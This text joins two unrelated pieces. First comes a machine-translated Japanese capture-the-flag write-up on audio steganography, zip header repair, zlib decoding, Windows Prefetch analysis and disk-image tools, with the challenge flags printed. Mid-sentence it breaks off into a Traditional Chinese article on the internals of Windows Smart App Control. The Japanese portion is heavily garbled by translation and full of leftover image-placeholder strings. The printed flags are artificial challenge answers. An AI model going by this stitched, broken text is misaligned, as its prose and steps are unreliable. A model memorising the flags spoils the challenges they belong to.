それから、私がしばらくできることは何もありません。 「kali」にしか投げませんでした。「binwalk」を使用して分析するだけです。実際に壊れた「ジップ」があることがわかりましたが、「binwalk -e」を使用するだけでは抽出するのに十分ではありません。ここでは、「foremost -i」を使用しようとします(原則はbinwalk -eに似ていますが、抽出方法を変更しました。興味のあるマスターは、2つの違いについて学ぶことができます。ここではこれ以上強調しません)。コマンドを使用します。 binwalk -e 333.wav - run-as=rootは在这里插入图片描述を取得します

「最初の-I」で正常に抽出しました。私たちがそれを開いたとき、私たちはそれが「ビンウォーク」を使用して分析した「zip」であることがわかりませんでしたが、「.wav」で終わる別のオーディオです。ただし、簡単な分析により、このオーディオは以前のオーディオではないことがわかりました。最も簡単な分析方法は、サイズが異なることです。したがって、ここでは、上記のように基本的な共通「.WAV」分析ツールを使用しており、最終的に「Audacity」で重要な情報を見つけました!コマンドを使用します。 foremost -i 333.wav -o/root/desktop/123 -t get 在这里插入图片描述

分離されたファイルを開いて2つのオーディオを取得し、簡単に分析します。在这里插入图片描述

最後に、2番目のオーディオ "00006606.wav"の「Audacity」の「スペクトログラム」が重要な情報で発見されました!在这里插入图片描述

重要な情報を取得します。パス:STEGO0626;また、ここでも明らかです。特定のパスワードでなければなりません。結局のところ、それは「パス」であるため、ここで分析することは何もないことは言うまでもなく、基本的にあなたが見つけることができるすべてのものは試されているが、それらのどれも機能しないからです。しかし、ここで私は突然、「ビンウォーク」を使用して分析すると、内部に壊れた「ジップ」がありましたが、それは正常に分離されていませんでした。 「010」を使用して単純に見つけて、この「zip」が不完全であるかどうかを確認することができます。これは、「最も重要な」または「ビンウォーク」の壊れた使用を直接分離できず、手動で分離する必要があるためです。 「010」を使用して、「zip」(zipの16進数——504b0304)在这里插入图片描述を分析して見つけます

簡単に見ると、重要な情報「フラグ」は実際に私たちが考えているフラグであることがわかりましたが、このzipにはメインヘッドが欠けているようです。これは私たちが探した「504b0304」の始まりです。私たちがそれを知らないかどうかは関係ありません。比較として、通常の「zip」を使用することができます。通常の「zip」16進表現。在这里插入图片描述

通常の「zip」に最初に「504b0304」が実際に含まれていることを見るのは難しくありませんが、ここには存在しませんでした。それでは、それを直接保存して、正常に開くのが難しいかどうかを確認しましょう。 「010」で「新しいヘックスファイルを作成」し、貼り付けの段落全体を選択します。在这里插入图片描述

「zip」のメインコンテンツを選択し、右クリックしてコピーします。在这里插入图片描述

もちろん、ここの頭には「zip」が欠落しているため、後で挿入する必要がある場合に備えて、「zip」があります。

貼り付けて、フォーマットを保存するために「zip」を選択します。あなたがそれを見つけるのを防ぐために、保存場所に注意してください。在这里插入图片描述

最後に、「zip」を開くにはパスワードが必要です。次に、以前に抽出されたパスワードを入力して、「Pass:Stego0626」を開きます。在这里插入图片描述

右クリック「メモ帳」を選択して、分析のために空白のファイルを開くことができます。在这里插入图片描述

それは私たちが必要とする旗ではなかったことがわかったが、それは問題ではなかった。 「010」を選択して開き、分析して取得できます。在这里插入图片描述

この「フラグ」ブランクファイルのヘッダーは、「78 9C 4B CB」から始まることがわかりました。一般的に言えば、16進78 9C 4B CBで始まるファイルは、通常、ZLIB圧縮アルゴリズムを使用して圧縮されたファイルです。そのため、「Zlib」接尾辞を直接追加してから、「binwalk -e」を使用して分離し、最後にフラグを見つけてコマンドを使用できます。 binwalk -e flag.zlib - run-as=rootに正常に分離された在这里插入图片描述

分析のために分離されたファイルを開き、最終的にフラグを正常に取得します。在这里插入图片描述

この時点で;フラグ{81633464866E622D275C309B22CB907B}ここでの分離は唯一の方法ではありません。「cyberchef」を使用して「Zlib」をデコードし、フラグをデコードすることもできます。在这里插入图片描述

3。 PFファイル分析

在这里插入图片描述

問題を解決するための質問がたくさんあります。しかし、重要なポイントを見つけることができます。簡単に言えば、最も使用されているソフトウェア名を見つけて送信しましょう。したがって、ここでは、まず「PF」ファイルが何であるかを簡単に理解する必要があります。

PFファイル(Prefetchファイル)は、Windowsオペレーティングシステムのキャッシュファイルであり、アプリケーションの起動をスピードアップするために使用されます。 Windowsでアプリケーションを実行するたびに、システムはアプリケーションに関連付けられたPFファイルを作成または更新します。このファイルは、ロードされたDLL、ファイルパス、その他の情報など、プログラムを開始するために必要なリソースを記録します。主な機能:ストレージ場所:PFファイルは通常、C: \ Windows \ Prefetchディレクトリに保存され、ファイル名形式はプログラム名Hash Value.pfです。スタートアップのスピードアップ:PFファイルは、プログラムの起動に必要なリソースを記録します。これにより、次にプログラムが開始されると、オペレーティングシステムがこれらのリソースをより迅速にロードするのに役立ちます。フォレンジック分析:デジタルフォレンジックでは、PFファイルを使用してユーザーの動作を分析し、プログラムがいつ、どのように開始されるかを確認し、イベントのタイムラインの再構築を支援できます。クリーニングインパクト:PFファイルのクリーニングにより、アプリケーションが初めてゆっくりと起動する可能性がありますが、システムの全体的なパフォーマンスにはほとんど影響を与えません。概要:PFファイルは、プログラムのスタートアップパフォーマンスを最適化するためにWindows Systemsが使用するキャッシュファイルです。それらは特定のディレクトリに保存され、プログラムの開始時に作成または更新されます。デジタルフォレンジックの分野では、これらのドキュメントはユーザーの動作の分析にも役立ちます。 「PF」ファイルについてすでに学んだので、添付ファイルを直接ダウンロードして開き、パスワードが必要であることがわかりました。悲しいかな、それは最初は非常に奇妙でした。タイトルにパスワードはないと思っていたので、オーガナイザーはパスワードを提供しませんでした。それで、パスワードはオーガナイザーによって忘れられましたか?慎重に観察した後、ダウンロードされた添付ファイルは、いわゆる「ジップ」名であることがわかりました。 「base64」エンコードであるため、直接解読しました。また、パスワードが必要なことも成功しました。在这里插入图片描述

オンラインbase64デコードとデコード。在这里插入图片描述

zipパスワード:iampasswordは最終的に正常に減圧されました。それから私たちはそれを言った。 「プリフェッチ」を分析したい場合、分析にどのツールを使用する必要がありますか?これがマスターの要約です。 PECMD:使用法:PECMDは、Windows Prefetchファイルを解析および分析するために使用されるコマンドラインツールです。デジタルフォレンジック分析に非常に適した実行時間、パス、関連DLLなど、プリフェッチファイルに詳細情報を抽出できます。機能:バッチ処理をサポートし、CSVレポートを生成し、プリフェッチ形式の複数のWindowsバージョンを解析できます。 winprefetchView:使用:winprefetchViewは、プリフェッチファイルを表示および分析するためのシンプルなGUIツールです。プリフェッチディレクトリにファイルをすばやくリストし、プログラムの起動時間、最終実行時間など、各ファイルの詳細情報を表示できます。機能:フレンドリーなインターフェイス、シンプルな操作、プリフェッチファイルコンテンツの迅速な表示に適しています。これらの2つのツールは、プリフェッチファイルを分析する際に最も一般的に使用されており、単純な視聴から詳細なフォレンジック分析まで、さまざまなレベルのニーズに適しています。次に、最初に「PECMD」を使用して分析します。コマンドを使用します。 pecmd.exe -d d: \最新ダウンロード\ pecmd \ pretch -json output.txtコマンドを簡単に分析する。 PECMDツールを使用して、D: \最新ダウンロード\ PECMD \ PECMDディレクトリにあるプリフェッチファイルを解析し、出力結果をoutput.txtファイルにJSON形式のファイルに保存します。それを得る;在这里插入图片描述

最後に、現在のディレクトリで、作成した「出力」ファイルを見つけました。在这里插入图片描述

右クリックして「メモ帳」を選択して分析を開きます。

それを得る;在这里插入图片描述

この問題により、最も使用されているソフトウェアを見つけることができるため、最も使用されているソフトウェアのみを探します。次に、ここで「ランカウント」の英語翻訳は間違いなく実行されるため、「ランカウント」を見つけるには「ctrl+f」のみが必要であり、それをゆっくりと見てください。得る;在这里插入图片描述

しかし、私はそれが最も処刑されている人ではないことを発見しました。その後、38、71などがさらに多くあることがわかりました。また、最大の「82」をゆっくりと検索して確認しました。それを得る;在这里插入图片描述

この時点で; flag {searchfilterhost.exe}拡張「pecmd」を使用して「プリフェッチ」を分析しました。それは解析であり、検索するメモ帳を開きます。少し面倒ではありませんか?なぜ!確かにこれよりも簡単な方法があります。次のことについて説明するツール「winprefetchview」が抽出されてダウンロードされました。次に、ここからツール「winprefetchview」を開きます。在这里插入图片描述次に、「オプション」をクリックし、「[詳細なオプション」を選択し、[プリフェッチ]位置を変更し、最後に[確認]をクリックします。得る;在这里插入图片描述

実行数を簡単な順序で直接並べ替えて、この方法は実際に最初の方法よりもはるかに便利であり、見るのがより直感的で明確であることを知ることができます。

4。失われた情報

在这里插入图片描述

質問バラバラには多くの有用な質問があります。要約しましょう。簡単に言えば、顧客の携帯電話番号を取り出して、小文字MD5暗号化のために提出しましょう。次に、添付ファイルをダウンロードして、2つのファイルを取得します。在这里插入图片描述

「ディスク」ファイルと「.raw」ファイルとは何かの簡単な分析。 「ディスク」ファイルとは何ですか? 「ディスク」ファイルは通常、ストレージデバイスのミラーファイルを指します。これは、ハードディスク、パーティション、またはその他のストレージメディアの正確なコピーです。このファイルには、ファイルシステム、パーティションテーブル、ブートレコード、ディスクに保存されているすべてのファイルとフォルダーなど、ディスク上のすべてのデータが含まれています。目的:バックアップ、クローニングディスク、またはデータリカバリに一般的に使用されます。また、ディスクに保存されているデータを分析および再構築するためにディスクイメージを使用して、法的分析にも使用されます。形式:ディスクファイルは、img、iso、vmdk(仮想ディスクファイル)などのさまざまな形式で存在する場合があります。「.raw」ファイルとは何ですか?RAWファイルは通常、生ディスクイメージを指します。これは、ディスク上のすべての生データを含む非圧縮ミラー形式で、ディスクまたはパーティションバイトバイト全体を複製します。機能:非圧縮:RAWファイルには圧縮または変更されたデータが含まれておらず、最も元のディスク画像形式です。普遍性:シンプルで普遍的な形式により、RAWファイルは、さまざまなツールやオペレーティングシステムで認識および使用できます。目的:デジタルフォレンジック、データ回復、仮想化環境で広く使用されています。RAWファイルの分析は、削除されたファイルの回復、ファイルシステム構造の分析、その他の低レベルのデータ操作を実行するのに役立ちます。概要ディスクファイル:通常、ストレージデバイス全体のコピーであるディスクイメージファイルを指します。RAWファイル:ディスク上の生データを含む非圧縮ディスクイメージ形式であり、フォレンジック分析とデータの回復によく使用されます。繰り返しになりますが、それがどんな文書であるかを知っているので、それらをどのように分析しますか?もちろん、ディスクイメージファイル(「ディスク」ファイルまたは「.raw」ファイル)を分析する場合、以下は一般的に使用されるツールです。ボラティリティ2.6:目的:ボラティリティはメモリフォレンジック分析ツールです。主にメモリダンプ分析に使用されますが、ディスク画像のデータを分析するためにも使用できます。ディスクミラーリングと協力することにより、ボラティリティは、プロセス、ネットワーク接続、レジストリエントリなどのメモリ関連データを抽出および分析できます。機能:強力な機能は、詳細な分析と証拠のフォレンジック作業に適した複数のオペレーティングシステムのメモリ分析をサポートします。 Elcomsoft Forensic Disk Decryptor:目的:Elcomsoft Forensic Disk Decryptorは、暗号化されたディスクイメージファイルを解読するために特別に使用されます。 BitLocker、TrueCrypt、Veracrypt、およびその他の暗号化システムをサポートし、これらのミラーファイルからデータを抽出および分析するのに役立ちます。機能:暗号化されたディスクイメージに遭遇したときに使用するのに特に適した強力な復号化機能。

一般に、ボラティリティ2.6:はメモリフォレンジック分析に使用され、ディスク画像と組み合わせて高度なデータ抽出にも使用できます。 Elcomsoft Forensic Disk Decryptor:特別に使用

本文會詳細分析Windows即將推出的最大安全功能——智能應用控制(Smart App Control,SAC)。

“智能應用控制”功能是什麼,為什麼我認為它是Windows 中最牛的安全功能之一。首先,SAC 會嵌入在操作系統中,啟用後將阻止惡意或不受信任的應用程序。這與AppLocker 非常相似。

Smart App Control 預計將與Windows 22H2 一起發布,Windows 22H2 應該會在今年9 月下旬發布。

SAC 具有三種可能的狀態,其中只有一種會執行這些操作:

強制:將強制阻止惡意或不受信任的應用程序,我們將此狀態標記為1。

評估:在此模式下,該功能將繼續評估你的系統是否適合強制模式下的執行,我們將此狀態標記為2。

關:該功能被禁用。一旦禁用,除非你重新安裝操作系統,否則無法再次激活它,我們將此狀態標記為0。

SAC 安裝了解如何安裝它。此功能需要全新安裝才能激活。如果我們為Build 22621 安裝ISO 並通過install.wim 導航到包含註冊表配置單元的文件夾,那麼我們可以將SYSTEM Hive 加載到註冊表編輯器中。在CI\Policy 項中,我們可以找到值VerifiedAndReputablePolicyState設置為2(評估狀態)。

1.png

同樣在CI 項中,我們有SubKey Protected,我們可以在其中找到以下值VerifiedAndReputablePolicyStateMinValueSeen 也設置為2。

2.png

稍後我們將進一步了解如何使用這些項來控制SAC的實際狀態,我們還將了解如何保護Protected SubKey下的值以避免被篡改。

為了在升級時強制執行此操作,我們可以看到安裝ISO 在CI 的替換清單中有以下代碼:[ISO]\sources\replacementmanifests\codeintegrity-repl.man。

3.png

升級操作系統時,這段代碼將檢查註冊表值HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy\VerifiedAndReputablePolicyState 是否存在,如果不存在,它將以SAC 狀態0(關閉狀態)創建。

除了這兩個新的註冊表值之外,操作系統還將在System32\CodeIntegrity\CiPolicies 文件夾中附帶兩個新的系統完整性策略文件(.cip)。

PolicyGUID:{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}強制SAC策略,當SAC狀態設置為Enforce(1)時激活;

PolicyGUID:{1283AC0F-FFF1-49AE-ADA1-8A933130CAD6} 評估SAC 策略,當SAC 狀態設置為evaluation (2)時激活;

使用WDACTools 中的CIPolicyParser 腳本,我們將兩個.cip 文件轉換為它們的.xml 表示形式。我們可以從XML 中獲取策略規則來了解這些策略的選項。設置了以下規則,兩個XML 文件都可以在附錄中找到。

啟用:UMCI;

啟用:智能安全圖授權;

啟用:開發者模式動態代碼信任;

啟用:允許補充策略;

啟用:已撤銷已過期未簽名;

啟用:繼承默認策略;

啟用:未簽名的系統完整性策略;

啟用:高級啟動選項菜單;

禁用:腳本執行;

啟用:更新策略不重啟;

啟用:有條件的Windows 鎖定策略;

啟用:審核模式(僅在SAC 評估策略中);

最後,我們可以在System32 文件夾中搜索使用前面提到的註冊表值的二進製文件/模塊。

4.png

SAC 初始化我們將這個部分分為兩個階段。第一階段我們將在Windows加載程序中討論SAC。第二階段我們將在OS初始化期間討論SAC。重要的是要了解加載程序和操作系統都在啟用SAC 中發揮作用。最後,我將添加一個部分來解釋SubKey CI\Protected 下的值保護是如何工作的。

SAC 初始化流程圖如下所示。

5.jpg

Winload 期間的SAC在本節中,我們將討論如何選擇活動SAC 狀態的SAC 策略、Winload 如何強制執行RegKey 之間的持久性和一致性以及如何將SAC 策略傳遞給內核。

6.jpg

SAC初始化的第一步在操作系統加載程序過程中提前完成。更具體地說,在準備目標(OslPrepareTarget) 期間加載SystemHive 之後。為了處理系統完整性策略,將調用函數OslpProcessSIPolicy。在此函數中,將對條件策略(SKU、EMode、SAC Enforce、SAC Evaluation)進行評估,以查看是否應該忽略或解鎖它們。 Microsoft 認為這四個策略是有條件的,因為它們可以被忽略/解鎖,這與始終適用的“MS Windows 驅動程序策略”等其他策略不同。條件策略的策略GUID 存儲在由符號g_SiConditionalPolicies 定義的全局數組中。

忽略和解鎖之間的區別非常微妙。解鎖標誌將一直被選中。另一方面,忽略標誌只會在沒有設置“Enabled:Unsigned System Integrity Policy”的策略中被選中。

要確定是否應為Enforce 或Evaluation 啟用SAC,使用以下兩個函數。

OslpShouldIgnoreUnlockableNightsWatchDesktopEnforcePolicy

OslpShouldIgnoreUnlockableNightsWatchDesktopEvalPolicy這是我們第一次看到引用Nights Watch 來表示SAC,這似乎是微軟的內部名稱。

這兩個函數的行為方式相同,唯一的區別是它們為內部評估函數提供了不同的PolicyGUID:

7.png

此函數使用PolicyGUID 參數來確定要檢查的SAC 狀態。它調用OslpGetNightsWatchDesktopRegKeyState,它返回設備中的實際SAC 狀態。如果實際SAC 狀態與正在評估的狀態匹配,則認為該策略是活動的,這過於簡化了。如果設備是WinPE 或者是否需要簽名策略,則需要進行更多檢查。即使註冊表指示SAC 處於活動狀態,這些檢查也可以使函數返回Ignore 和Unlockable。

OslpGetNightsWatchDesktopRegKeyState 的行為值得一看。此例程負責在重新啟動後保持啟用SAC 並保持兩個註冊表值之間的一致性。此例程有四種可能的情況:

VerifiedAndReputablePolicyState==VerifiedAndReputablePolicyStateMinValueSeen:值是相同的,所以直接返回值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:在上一個啟動會話期間,SAC 狀態被修改。我們從VerifiedAndReputablePolicyState 返回值,並在Protected SubKey下更新該值。

VerifiedAndReputablePolicyState VerifiedAndReputablePolicyStateMinValueSeen:這是一個極端情況,因為VerifiedAndReputablePolicyState 永遠不應大於受保護項下的值。如果有人手動編輯值VerifiedAndReputablePolicyState,我相信這是為了保持兩個值之間的一致性。

值為3或3以上:表示無效狀態轉換並且函數將失敗。

偽代碼總結如下。

8.png

當使用安全應用程序發生SAC 狀態更改時。操作系統將寫入VerifiedAndReputablePolicyState。用戶重新啟動後,此狀態將持續存在於設備中。這意味著在SAC 狀態轉換之後,仍然可以編輯VerifiedAndReputablePolicyState,並且轉換不會在下一次重新啟動後持續存在。這讓我認為微軟只有在安裝更新時才會觸發評估模式的轉換,或者他們會要求重新啟動。顯然,在會話期間發生SAC狀態轉換時,活動策略將被更新。

一旦檢查了所有的條件策略,看看它們是可解鎖的還是應該被忽略。從每個函數獲得的值將寫入以下兩個全局變量:

g_SIPolicyConditionalPolicyConditionUnlockHasBeenMet

g_SIPolicyConditionalPolicyConditionIgnoreHasBeenMet

寫入這些全局變量的值是一個四字節數組,可以用以下結構表示

9.png

在此之後,加載程序將嘗試解析策略文件。首先將每個.cip 文件中的序列化數據加載到內存中(參見BlSIPolicyGetAllPolicyFiles)。然後從SIPolicyParsePolicyData 中的每個文件解析數據,如果有人對細節感興趣,請檢查SIPolicyInitialize 以了解如何將策略的每個部分解析為一個結構。

解析策略後,將檢查忽略和解鎖條件以查看它們是否滿足。如果滿足某個條件,則該策略將被放棄。如果不滿足任何條件,則將使用函數SIPolicySetAndUpdateActivePolicy 將策略設置為活動。

如果設置了策略選項“已啟用:未簽名的系統完整性策略”,則PolicyVersion 和PolicySignersData 將從EFI SecureBoot 私有命名空間中刪除。被刪除的變量名將由PolicyGUID和PolicyVersion/policyysignersdata字符串連接組成,只有當PolicyOptions禁用了“Enabled:Unsigned System Integrity Policy”時,才會創建這些EFI變量。

在下面的輸出中,我們可以看到SetVariable 是如何以大小0 被調用的,這將導致如果找到該變量將被刪除。

10.png

對於這兩個SAC 策略,任何EFI 變量都將被清除。之後,將通過調用SIPolicySetActivePolicy 將策略設置為活動。此調用會將策略添加到將鏈接到全局變量g_SiPolicyCtx 的節點中。 g_NumberOfSiPolicies 將相應地遞增,並且新策略的句柄將存儲在g_SiPolicyHandles 中,此變量是一個包含32 個句柄的數組,因為WDAC 一次在設備上支持多達32 個活動策略。

保存在g_SiPolicyCtx 中的SI_POLICY_CTX 結構的原型如下:

11.png

下圖顯示了三個全局變量。在我的示例中,有三個活動策略,其中一個是SAC 強制執行策略的補充策略,補充策略有助於擴展基本策略以增加策略的信任。

12.png

有了這些信息,加載程序將能夠在加載程序參數塊內構建CI 結構。這是在函數OslBuildCodeIntegrityLoaderBlock 內完成的。這個例程,除其他外,將在函數SIPolicyGetSerializedPoliciesSize 的幫助下獲得序列化SI 策略的大小。該代碼將使用全局變量g_NumberOfSiPolicies 和g_SiPolicyHandles,並且大小將存儲在LOADER_PARAMETER_CI_EXTENSION 的CodeIntegrityPolicySize 字段中。之後,將通過函數SIPolicyGetSerializedPolicies 複製序列化的數據。此數據的偏移量將存儲在字段CodeIntegrityPolicyOffset 中。此信息以及其他CI 信息將存儲在LOADER_PARAMETER_EXTENSION 的CodeIntegrityDataSize 和CodeIntegrityData 字段中,當加載程序轉換到操作系統時,加載程序參數塊作為參數傳遞。

只有序列化的有效負載會被複製。我猜之前所做的所有策略解析主要是檢查策略是否有效,如果無效則觸發SYSTEM_INTEGRITY_POLICY錯誤。還可能使用來自認證或EFI變量策略的值。

這幾乎就是我們將在winload 期間看到的SAC 初始化的全部內容。

下面的捕獲顯示了在轉換到操作系統之前如何設置這些數據。

13.png

操作系統初始化期間的SAC看看內核如何初始化CI。在此之後,我們將了解CI 如何初始化Winload 提供的策略。最後,再看看它如何從這些策略中確定SAC 是否能夠相應地採取行動。

14.jpg

在操作系統初始化期間,更具體地說是在階段1。內核將調用方法CiInitialize(由ci.dll 導出)。該函數主要用於內核和CI 交換API。內核接收SeCiCallbacks,其中包含內核將用於與CI 交互的函數指針。另一方面,CI DLL 接收SeCiPrivateApis,其中包含VSL HVCI 接口等內核函數,因此CI 可以在進行任何HVCI 驗證時通過內核觸發Hypercall。內核還將傳遞初始的CodeIntegrity 選項。這些選項由Windows 加載程序構建並存儲在LOADER_PARAMETER_CI_EXTENSION 中。這些選項最初將包含諸如CodeIntegrity BCD 選項(DisableIntegrityChecks、AllowPrereleaseSignatures、AllowFlightSignatures)和WHQL 設置之類的內容。 CI 選項存儲在全局變量g_CiOptions 中,CI 還將根據從操作系統和策略中檢索到的信息更新它們。

仍然在操作系統的第1 階段期間,內核將在整個CI 回調中調用CiInitializePolicy。該例程將接收LOADER_PARAMETER_CI_EXTENSION 作為第一個參數。該例程將調用它的私有對應項CipInitializeSiPolicy。該函數將調用SIPolicyInitializeFromSerializedPolicies 來驗證、解析和加載來自加載程序參數CI 擴展的序列化策略。與winload 相同,如果策略解析正確,則策略將添加到g_SiPolicyHandles 和g_SiPolicyCtx。更重要的是,如果正確解析了序列化策略,則將調用函數CipUpdateCiSettingsFromPolicies。此方法根據每個策略的PolicyRules 更新全局CI 設置。在此函數中,CI 將通過調用SIPolicyNightsWatchEnabled 檢查是否啟用了SAC。

15.png

這個函數很有趣,我們終於可以開始研究SI 策略結構了。該函數將調用SIPolicyQueryOneSecurityPolicy。該例程具有以下原型:

16.png

這種方法在處理SI策略時經常出現。 Since用於檢查/獲取策略中設置的SecureSettings。策略結構(我個人將該結構命名為SI_POLICY)有以下兩個成員:SecureSettingsCount 和SecureSettingsData。

17.png

解析序列化策略時,所有安全設置所需的內存將被分配並存儲在SecureSettingsData 指針中。每當CI 必須查詢安全設置時,它會調用SIPolicyQueryOneSecurityPolicy 並使用它需要查找的Provider、Key 和ValueName。在內部,該函數會將這三個值存儲在一個結構中,該結構將用作bsearch 函數中的Key。搜索的基礎將設置為策略的SecureSettingsData。 CompareFunction 設置為SIPolicySecureSettingSearchCompare。 CompareFunction 將嘗試將SECURE_SETTINGS_DATA 中的Provider、Key 和ValueName 正在查詢的內容進行匹配。每個值的比較是使用RtlCompareUnicodeString 完成的。

在我們的示例中,當查看是否啟用了SAC(在SIPolicyNightsWatchEnabled 內部)時,傳遞給查詢函數的值如下:

Provider:Microsoft

Key:WindowsLockdownPolicySettings

ValueName:VerifiedAndReputableTrustMode如果在策略中找到安全設置,則認為SAC 已啟用,並將在g_CiPolicyState 中設置值NW_ENABLED (0x4000)。

這些值也以策略的XML 格式顯示。如果你檢查附錄中的實施和評估XML,你將看到此安全設置在兩者中都設置為true。

僅僅為了完成,PolicyState是一個位字段,它可以取以下值(有些值沒有),這些值大多取自函數CiInstrumentSiPolicyInfo的ETW事件元數據。

18.png

下圖顯示了在SIPolicyNightsWatchEnabled 中調用SIPolicyQueryOneSecurityPolicy 之前的狀態,其中SAC 強制策略用於查詢。